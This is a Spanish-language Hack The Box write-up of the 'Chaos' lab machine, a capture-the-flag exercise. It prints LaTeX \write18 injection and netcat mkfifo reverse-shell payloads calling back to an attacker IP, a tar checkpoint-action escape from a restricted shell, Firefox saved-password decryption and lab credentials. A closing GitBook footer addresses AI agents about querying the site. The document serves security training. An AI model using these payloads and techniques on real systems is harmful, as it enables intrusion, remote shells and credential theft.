> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/hack-the-box/chaos.md).

# Chaos

<figure><img src="/files/5KGlbYAS8Oy3YBtw2HuL" alt=""><figcaption></figcaption></figure>

## Enumeración

### Enumeración de puertos

Comenzamos la resolución de la máquina Chaos, realizando una enumeración rápida de los servicios que se están ejecutando en el objetivo.

```
nmap -p- --open -Pn --min-rate 500 10.10.10.120
```

<figure><img src="/files/iZw5hspBbnVR7SArPaij" alt=""><figcaption></figcaption></figure>

Una vez conocemos los servicios disponibles, vamos a realizar una nueva enumeración más detallada para conocer más información de estos servicios.

```
nmap -p80,110,143,993,995,10000 -sVC -Pn 10.10.10.120
```

<figure><img src="/files/FETLYeFS0TGOGkhYoKXD" alt=""><figcaption></figcaption></figure>

***VERSIONES***

* Puerto 80 -> HTTP ->Apache httpd 2.4.34
* Puerto 110 -> pop3 -> Dovecot pop3d
* Puerto 143 -> imap -> Dovecot imapd
* Puerto 993 -> imap / ssl -> Dovecot imapd
* Puerto 995 -> pop3 / ssl -> Dovecot pop3d
* Puerto 10000 -> http -> MiniServ 1.89

### Enumeración Web

En el puerto 80, se está ejecutando en servicio Web. Vamos a enumerar su contenido.

<figure><img src="/files/R16qQfbY6Ln9T9Huoj6O" alt=""><figcaption></figcaption></figure>

Enumeramos directorios y archivos.

<figure><img src="/files/mVPEdcppU0vR8D3aVFJL" alt=""><figcaption></figcaption></figure>

## Explotación

Durante la enumeración con dirsearch, encontramos la siguiente publicación protegida por contraseña.

<figure><img src="/files/c6PvzJvTcdzRPPbP8m0F" alt=""><figcaption></figcaption></figure>

Haciendo una enumeración tradicional de usuarios, encontramos el nombre de author: human, que utilizaremos como contraseña para desproteger la publicación.

<figure><img src="/files/FSyvheB6hgxTD1NuBZHX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/rZbamcKdsnpHhiO6gyAF" alt=""><figcaption></figcaption></figure>

Encontramos las credenciales para el servicio Webmail. Vamos a comprobar si existe un subdominio o directorio con este nombre.

<figure><img src="/files/ZXcG1QzRxIlUbwfKjraF" alt=""><figcaption></figcaption></figure>

Encontramos un posible inicio de sesión. Vamos a comprobar si las credenciales son válidas. Utilizando las credenciales localizadas anteriormente, podemos acceder al servicio Webmail.

<figure><img src="/files/NrLNwNt0HQ7N1hYNp4i5" alt=""><figcaption></figcaption></figure>

Una vez hemos accedido, encontramos este email en Drafts. Contiene una serie de claves interesantes y dos archivos adjuntos que vamos a descargar en nuestra máquina de ataque.

<figure><img src="/files/ODNYhFjpmg4JOjmlsQ2K" alt=""><figcaption></figcaption></figure>

Parece que tenemos una password.

<figure><img src="/files/8O5Bmw1src63f8voR45E" alt=""><figcaption></figcaption></figure>

Y un mensaje cifrado. Y lo que parece el archivo utilizado para cifrar el mensaje.

<figure><img src="/files/tZnGbqTuQjzQjkgNnUbn" alt=""><figcaption></figcaption></figure>

Vamos a tratar de buscar un descifrador para este mensaje.

<figure><img src="/files/HnkdR1G2WqegI695KOFK" alt=""><figcaption></figcaption></figure>

Encontramos un posible descifrador para el archivo cifrado que tenemos.

<figure><img src="/files/nD3LC95PSpfB7L1ZukzM" alt=""><figcaption></figcaption></figure>

Vamos a tratar de descifrar nuestro archivo.

<figure><img src="/files/RUobCJxfpfzMOa1tf3lC" alt=""><figcaption></figcaption></figure>

La ejecución del script decrypt.py genera un archivo txt que contiene un cifrado en base64. Vamos a descifrarlo.

<figure><img src="/files/LT9JqNompIWX0E0myzkm" alt=""><figcaption></figcaption></figure>

Encontramos un URL en el mensaje cifrado. Vamos a ver el contenido de la dirección encontrada.

<figure><img src="/files/sVLwrTIArNIsjkbHRRvR" alt=""><figcaption></figcaption></figure>

Vamos a interceptar una petición, para comprobar que funciones tiene el endpoint encontrado.

<figure><img src="/files/dane4Po9N8l8BzsFHIAy" alt=""><figcaption></figcaption></figure>

Lo interesante es ver que \write18 está habilitado. Según esta [entrada de blog](https://otrashoui.xyz/chaos/#pdf-generator-exploit:~:text=The%20interesting%20thing%20is%20to%20see%20%5Cwrite18%20enabled.%20As%20per%20this%20blog%20post%2C%20we%20can%20assume%20that%20pdflatex%20is%20run%20with%20the%20%2D%2Dshell%2Descape%20flag%20which%20enables%20us%20to%20run%20any%20command%3A), podemos suponer que pdflatex se ejecuta con el flag --shell-escape, lo que nos permite ejecutar cualquier comando.

<figure><img src="/files/e25Agd0L3VnpKnHLHHF5" alt=""><figcaption></figcaption></figure>

Podemos ejecutar comandos aprovechando una vulnerabilidad de LaTeX.

<figure><img src="/files/ZC7mcL1jTq9QCUsIdpA0" alt=""><figcaption></figcaption></figure>

Vamos a ejecutar el siguiente payload:

```
\immediate\write18{rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.3 1234 >/tmp/f}
```

Convertimos a URL encoded:

```
\immediate\write18{rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.16.3+1234+>/tmp/f}
```

En nuestra máquina de ataque configuramos un oyente nc en el puerto 1234.

<figure><img src="/files/nY0O40LI0fjX6qy2FxqD" alt=""><figcaption></figcaption></figure>

Tenemos acceso a la máquina objetivo. Convertimos la terminal en interactiva.

```
python -c 'import pty;pty.spawn ("/bin/bash")'
```

<figure><img src="/files/2PFEwbnKDjajcNjMTinH" alt=""><figcaption></figcaption></figure>

Vamos al directorio de usuarios, para tratar de localizar primero la flag de usuario y segundo, posibles vectores de elevación de privilegios.

## Pivotando de www-data a ayush

Cuando nos dirigimos al directorio de usuarios, encontramos dos nombres sahay y ayush.

<figure><img src="/files/OOz2JXo8VAltr55OYjU8" alt=""><figcaption></figcaption></figure>

Para el usuario ayush, encontramos unas credenciales durante la enumeración de WP. Vamos a comprobar si estas credenciales son válidas en este momento.

<figure><img src="/files/LHtKrBfqRj45DqXWIG4z" alt=""><figcaption></figcaption></figure>

Las credenciales son válidas pero accedemos con una terminal restricted. Vamos a tratar de saltar esta shell para obtener una completamente funcional. Guía interesante para [esto](https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf). Buscamos diferentes binarios que podemos ejecutar desde restricted shell y el comando tar es uno de ellos.

<figure><img src="/files/wy697sJxj6K5tLYhlVYJ" alt=""><figcaption></figcaption></figure>

Volvemos a www-data y vamos al directorio /tmp. En este directorio creamos un archivo securiters. El siguiente paso será añadir este archivo creado a un archivo securiters.tar. Una vez completado este proceso, volvemos a acceder al sistema con las credenciales del usuario ayush, donde ejecutaremos el archivo creado anteriormente para omitir el shell. Finalmente, arreglamos la ruta para obtener una shell funcional.

```
1. touch securiters
2. tar -cvf securiters.tar securiters
3. Acceder al sistema con las credenciales ayush:jiujitsu
4. tar cf /dev/null securiters.tar --checkpoint=1 --checkpoint-action=exec=/bin/bash
<r --checkpoint=1 --checkpoint-action=exec=/bin/bash
5. export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
6. id
```

<figure><img src="/files/Vsuxut3eHcOWVVyeZnXS" alt=""><figcaption></figcaption></figure>

Una vez obtenemos la shell completamente funcional, vamos a localizar la flag de usuario.

<figure><img src="/files/evUXIlDOEBuodJYHYiBz" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Dentro del directorio del usuario ayush, encontramos otro directorio .mozilla. Veamos su contenido.

<figure><img src="/files/jEPLiDy1XUFW14Uyr4YZ" alt=""><figcaption></figcaption></figure>

Dentro del firefox, encontramos un perfil.

<figure><img src="/files/YTyCl6dEGFEhX2IOILmZ" alt=""><figcaption></figcaption></figure>

Vamos a transferir toda la información contenida en este perfil a nuestra máquina de ataque de la siguiente manera. En la máquina objetivo, configuramos en servidor Python en el puerto 1337.

<figure><img src="/files/ToF9r8pJ97GAqxctd9P3" alt=""><figcaption></figcaption></figure>

En nuestra máquina de ataque creamos un directorio firefox donde descargaremos todos los archivos y ejecutamos el siguiente comando para descargar todos los archivos.

```
wget http://chaos.htb:1337/ --recursive
```

<figure><img src="/files/Mao5xOII1F9vKJKPTiUQ" alt=""><figcaption></figcaption></figure>

Una vez descargados todos los archivos, vamos a utilizar la herramienta firefox\_decrypt.py para descifrar información interesante de los archivos descargados. Se pide una contraseña, probamos con la credencial del usuario ayush:jiujitsu y es correcta.

<figure><img src="/files/HR0Z6nBy9gFhPuIy0eEv" alt=""><figcaption></figcaption></figure>

Después de descifrar, obtenemos unas credenciales y un nuevo endpoint donde pueden ser válidas.

<figure><img src="/files/cCEJ8GEVGe53s7Jp7Ipv" alt=""><figcaption></figcaption></figure>

Accedemos al Área de Administración del Servidor Web. Webmin tiene una funcionalidad de terminal que vamos a analizar.

<figure><img src="/files/KYQBplh3TAPQPUyJL8Fn" alt=""><figcaption></figcaption></figure>

Ya tenemos privilegios pero vamos a acceder desde nuestra terminal de ataque. El payload utilizado es el siguiente:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.3 1234 >/tmp/f
```

<figure><img src="/files/5w9X9WBMVuhN6bfcWBJl" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/zprUlMTZqhRzETxFCe7l" alt=""><figcaption></figcaption></figure>

Solo quedará buscar la flag root para completar la resolución de la máquina Chaos.

<figure><img src="/files/d5N2yG1JjaSNCuXJQiNx" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?ab_channel=Securiters&v=8hu3nPI3qLs>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/hack-the-box/chaos.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
